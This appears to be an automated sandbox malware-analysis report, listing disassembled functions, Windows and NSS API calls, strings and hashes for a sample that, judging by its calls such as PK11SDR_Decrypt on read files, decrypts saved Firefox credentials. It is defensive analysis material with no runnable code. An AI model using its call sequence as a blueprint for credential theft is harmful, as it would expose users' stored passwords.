memset.VCRUNTIME140(?,00000000,00000114), ref: 6C8F466D
VerSetConditionMask.NTDLL ref: 6C8F469F
VerSetConditionMask.NTDLL ref: 6C8F46AB
VerSetConditionMask.NTDLL ref: 6C8F46B2
VerSetConditionMask.NTDLL ref: 6C8F46B9
VerSetConditionMask.NTDLL ref: 6C8F46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8F46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C8F46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C8F46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C8F46F7
user32.dll, xrefs: 6C8F4557, 6C8F463F
WRusr.dll, xrefs: 6C8F44B5
l, xrefs: 6C8F4578
kernel32.dll, xrefs: 6C8F44CD

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: d3c7e364aa81cfd710b99c0c12beb76ec409f13fc46968e1ed06a8ab5f2f19ba
Instruction ID: f1fb3803e7919181f0a9abcf7602488b2cc6816eb49a7f4bd22fa9e20b6ad2aa
Opcode Fuzzy Hash: d3c7e364aa81cfd710b99c0c12beb76ec409f13fc46968e1ed06a8ab5f2f19ba
Instruction Fuzzy Hash: BA6107B06083449FFB219F62CE05BA577B8EBC674CF24899DE5149BAC1E3708946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C92F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8F4A68), ref: 6C92945E
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C929470
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C929482
Part of subcall function 6C929420: __Init_thread_footer.LIBCMT ref: 6C92949F

GetCurrentThreadId.KERNEL32 ref: 6C92F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C92F8F9

Part of subcall function 6C8F6390: GetCurrentThreadId.KERNEL32 ref: 6C8F63D0
Part of subcall function 6C8F6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C8F63DF
Part of subcall function 6C8F6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C8F640E

ReleaseSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92F93A
GetCurrentThreadId.KERNEL32 ref: 6C92F98A
GetCurrentThreadId.KERNEL32 ref: 6C92F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92F716

Part of subcall function 6C9294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9294EE
Part of subcall function 6C9294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C929508

Part of subcall function 6C8EB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C8EB5E0

GetCurrentThreadId.KERNEL32 ref: 6C92F739
AcquireSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92F746
GetCurrentThreadId.KERNEL32 ref: 6C92F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C96385B,00000002,?,?,?,?,?), ref: 6C92F829
free.MOZGLUE(?,?,00000000,?), ref: 6C92F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C92F866
free.MOZGLUE(?), ref: 6C92FA0C

Part of subcall function 6C8F5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8F55E1), ref: 6C8F5E8C
Part of subcall function 6C8F5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8F5E9D
Part of subcall function 6C8F5E60: GetCurrentThreadId.KERNEL32 ref: 6C8F5EAB
Part of subcall function 6C8F5E60: GetCurrentThreadId.KERNEL32 ref: 6C8F5EB8
Part of subcall function 6C8F5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8F5ECF
Part of subcall function 6C8F5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C8F5F27
Part of subcall function 6C8F5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C8F5F47
Part of subcall function 6C8F5E60: GetCurrentProcess.KERNEL32 ref: 6C8F5F53
Part of subcall function 6C8F5E60: GetCurrentThread.KERNEL32 ref: 6C8F5F5C
Part of subcall function 6C8F5E60: GetCurrentProcess.KERNEL32 ref: 6C8F5F66
Part of subcall function 6C8F5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C8F5F7E

free.MOZGLUE(?), ref: 6C92F9C5
free.MOZGLUE(?), ref: 6C92F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C92F71F
Thread , xrefs: 6C92F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C92F9A6
" attempted to re-register as ", xrefs: 6C92F858

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 82047a1845f1942c0c273b31921c2b9915cc724abf8d6ca955f77d876d88bb6b
Instruction ID: 7ec2122f9edb3423f7d4b57aee719d6e053c7467e66e625992c10c4775ea021e
Opcode Fuzzy Hash: 82047a1845f1942c0c273b31921c2b9915cc724abf8d6ca955f77d876d88bb6b
Instruction Fuzzy Hash: D0813471A143149FEB10DF25C844BAAB7B5FFD5308F50456DE8898BB91EB34E809CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0040C100 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C112

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,042077C8,00000000,?,0041DBAC,00000000,?,?), ref: 0040C1D6
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C1F3
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C1FF
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C212

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C242
StrStrA.SHLWAPI(?,04207828,0041D72E), ref: 0040C260
StrStrA.SHLWAPI(00000000,042078B8), ref: 0040C287
StrStrA.SHLWAPI(?,04208220,00000000,?,0041DBB8,00000000,?,00000000,00000000,?,04201110,00000000,?,0041DBB4,00000000,?), ref: 0040C405
StrStrA.SHLWAPI(00000000,042082E0), ref: 0040C41C

Part of subcall function 0040BF90: memset.MSVCRT ref: 0040BFC3
Part of subcall function 0040BF90: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,04201130), ref: 0040BFE1
Part of subcall function 0040BF90: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
Part of subcall function 0040BF90: PK11_GetInternalKeySlot.NSS3 ref: 0040BFFA
Part of subcall function 0040BF90: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C015
Part of subcall function 0040BF90: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C05B
Part of subcall function 0040BF90: memcpy.MSVCRT ref: 0040C082
Part of subcall function 0040BF90: PK11_FreeSlot.NSS3(?), ref: 0040C0D1

StrStrA.SHLWAPI(?,042082E0,00000000,?,0041DBBC,00000000,?,00000000,04201130), ref: 0040C4BD
StrStrA.SHLWAPI(00000000,04201210), ref: 0040C4D4

Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

lstrlen.KERNEL32(00000000), ref: 0040C5A7
CloseHandle.KERNEL32(00000000), ref: 0040C5F9
NSS_Shutdown.NSS3 ref: 0040C607

Strings

, xrefs: 0040C133

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmallocmemcpymemset
String ID:
API String ID: 2844179199-3916222277
Opcode ID: e5fe73770150aed3939386781e4763a7f88a2c5d9bd31836e5a27adecae89f60
Instruction ID: 16cc530deb27457f536659a64f134916331f5af867ee6c6bf2a367595298ef92
Opcode Fuzzy Hash: e5fe73770150aed3939386781e4763a7f88a2c5d9bd31836e5a27adecae89f60
Instruction Fuzzy Hash: 66E11075910208ABCB14EBA1DC91FEEBB79BF54304F41415EF10667191DF38AA86CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C8E3217
Part of subcall function 6C8E31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C8E3236
Part of subcall function 6C8E31C0: FreeLibrary.KERNEL32 ref: 6C8E324B
Part of subcall function 6C8E31C0: __Init_thread_footer.LIBCMT ref: 6C8E3260
Part of subcall function 6C8E31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C8E327F
Part of subcall function 6C8E31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8E328E
Part of subcall function 6C8E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8E32AB
Part of subcall function 6C8E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8E32D1
Part of subcall function 6C8E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8E32E5
Part of subcall function 6C8E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8E32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C8F9675
__Init_thread_footer.LIBCMT ref: 6C8F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C8F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C8F9707
__Init_thread_footer.LIBCMT ref: 6C8F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8F9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C8F97B7
FreeLibrary.KERNEL32 ref: 6C8F97D0
FreeLibrary.KERNEL32 ref: 6C8F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8F9824

Strings

MapViewOfFileNuma2, xrefs: 6C8F97B1
NtMapViewOfSection, xrefs: 6C8F9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C8F9670
ntdll.dll, xrefs: 6C8F96E3

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 99db82f28d07a289d48799777291f3c9e971819c4a787d2f4ecbbfbd8d4ef065
Instruction ID: e15a7bb7ba311c74209a7f1192569640bd47c41a249d3d729322eee38f98a6ff
Opcode Fuzzy Hash: 99db82f28d07a289d48799777291f3c9e971819c4a787d2f4ecbbfbd8d4ef065
Instruction Fuzzy Hash: 9A61E4717083059BEF10CF66D984BAA7BB1FB4A798F24492DE92583BC0D730D855CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040FAE0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 145stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 0040FB05
ExitProcess.KERNEL32 ref: 0040FB11
strtok_s.MSVCRT ref: 0040FB28

Strings

block, xrefs: 0040FAF7

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 52d09828bd6328d95c269d46c52906f376363bf45c2a71b165d5bab26f2389d9
Instruction ID: 7825bcbe27da9618b603611e1cfecd621835b499ad6dca7fa43ef563d7fd58f0
Opcode Fuzzy Hash: 52d09828bd6328d95c269d46c52906f376363bf45c2a71b165d5bab26f2389d9
Instruction Fuzzy Hash: 0F514074A08209EFDB20DFA1D955BAE77B5BF44305F10807AE802B76C0D778E985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 6C93D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C93D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C93D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C93D52A
GetCurrentThreadId.KERNEL32 ref: 6C93D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C93D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C93D55F
free.MOZGLUE(00000000), ref: 6C93D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C93D5D3
GetCurrentThreadId.KERNEL32 ref: 6C93D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C93D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C93D652
GetCurrentThreadId.KERNEL32 ref: 6C93D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C93D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C93D6A2

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 4f9eaab47ff3c96eb06b49c966ec6c5a22238abcfdba27a1353f95f00ccee633
Instruction ID: fd27beeabfaa582bcfe6dc30c2756373baf17b3c08568e9207f7cea033c8e101
Opcode Fuzzy Hash: 4f9eaab47ff3c96eb06b49c966ec6c5a22238abcfdba27a1353f95f00ccee633
Instruction Fuzzy Hash: 28518CB1608705DFD700CF35C488AAABBB4FF89358F10962EE95A87750EB30E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00411F30 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411F4E
memset.MSVCRT ref: 00411F65

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00411F9C
lstrcat.KERNEL32(?,04207D38), ref: 00411FBB
lstrcat.KERNEL32(?,?), ref: 00411FCF
lstrcat.KERNEL32(?,04207BA0), ref: 00411FE3

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004096C0: StrStrA.SHLWAPI(00000000,04207798), ref: 0040971B
Part of subcall function 004096C0: memcmp.MSVCRT ref: 00409774

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415AC0: GlobalAlloc.KERNEL32(00000000,00412087,00412087), ref: 00415AD3

StrStrA.SHLWAPI(?,04208790), ref: 0041209D
GlobalFree.KERNEL32(?), ref: 00412199

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0041212A
StrCmpCA.SHLWAPI(?,0041D4AB,?,?,?,?,000003E8), ref: 00412147
lstrcat.KERNEL32(00000000,00000000), ref: 00412159
lstrcat.KERNEL32(00000000,?), ref: 0041216C
lstrcat.KERNEL32(00000000,0041D840), ref: 0041217B

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesChangeCloseCreateFindFolderNotificationPathReadSizelstrcpy
String ID:
API String ID: 3662689742-0
Opcode ID: f5db646830afb3b51793a6e0b6e4721c7518e8da438697001fa247f991728a2a
Instruction ID: d5c3215e2bd1f08faed5fb03d7604f0585b4cbbeb5c4b7daf79ee1030fe867fa
Opcode Fuzzy Hash: f5db646830afb3b51793a6e0b6e4721c7518e8da438697001fa247f991728a2a
Instruction Fuzzy Hash: B97158B6900618BBCB24EBE0DD49FDE7779AF88304F004599F60997181EA78DB94CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6C92EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8F4A68), ref: 6C92945E
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C929470
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C929482
Part of subcall function 6C929420: __Init_thread_footer.LIBCMT ref: 6C92949F

GetCurrentThreadId.KERNEL32 ref: 6C92EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92EC8C

Part of subcall function 6C9294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9294EE
Part of subcall function 6C9294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C929508

GetCurrentThreadId.KERNEL32 ref: 6C92ECA1
AcquireSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C92ECC5
ReleaseSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C92ED19
CloseHandle.KERNEL32(?), ref: 6C92ED28
free.MOZGLUE(00000000), ref: 6C92ED2F
ReleaseSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C92EC94

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 0fd4ff56c0944a2f094e93ba0d99d879e17770c871a656d048b2b07d8d69ab07
Instruction ID: d09e53a675fcaf1b1cd48be47cebe9862b1f9498ae7bf257faab553698212039
Opcode Fuzzy Hash: 0fd4ff56c0944a2f094e93ba0d99d879e17770c871a656d048b2b07d8d69ab07
Instruction Fuzzy Hash: 5C210771604104ABEB019F76D848BBA3779EF5626DF204218FC5847F84EB39D815CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6C928ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C8EEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8EEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C92B392,?,?,00000001), ref: 6C9291F4

Part of subcall function 6C91CBE8: GetCurrentProcess.KERNEL32(?,6C8E31A7), ref: 6C91CBF1
Part of subcall function 6C91CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8E31A7), ref: 6C91CBFA

Strings

stack-chart, xrefs: 6C9290B2
timeline-memory, xrefs: 6C929088
data, xrefs: 6C9290E8
marker-table, xrefs: 6C92906C
timeline-ipc, xrefs: 6C929096
timeline-fileio, xrefs: 6C9290A4
name, xrefs: 6C928F16
timeline-overview, xrefs: 6C92907A
marker-chart, xrefs: 6C92905E

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
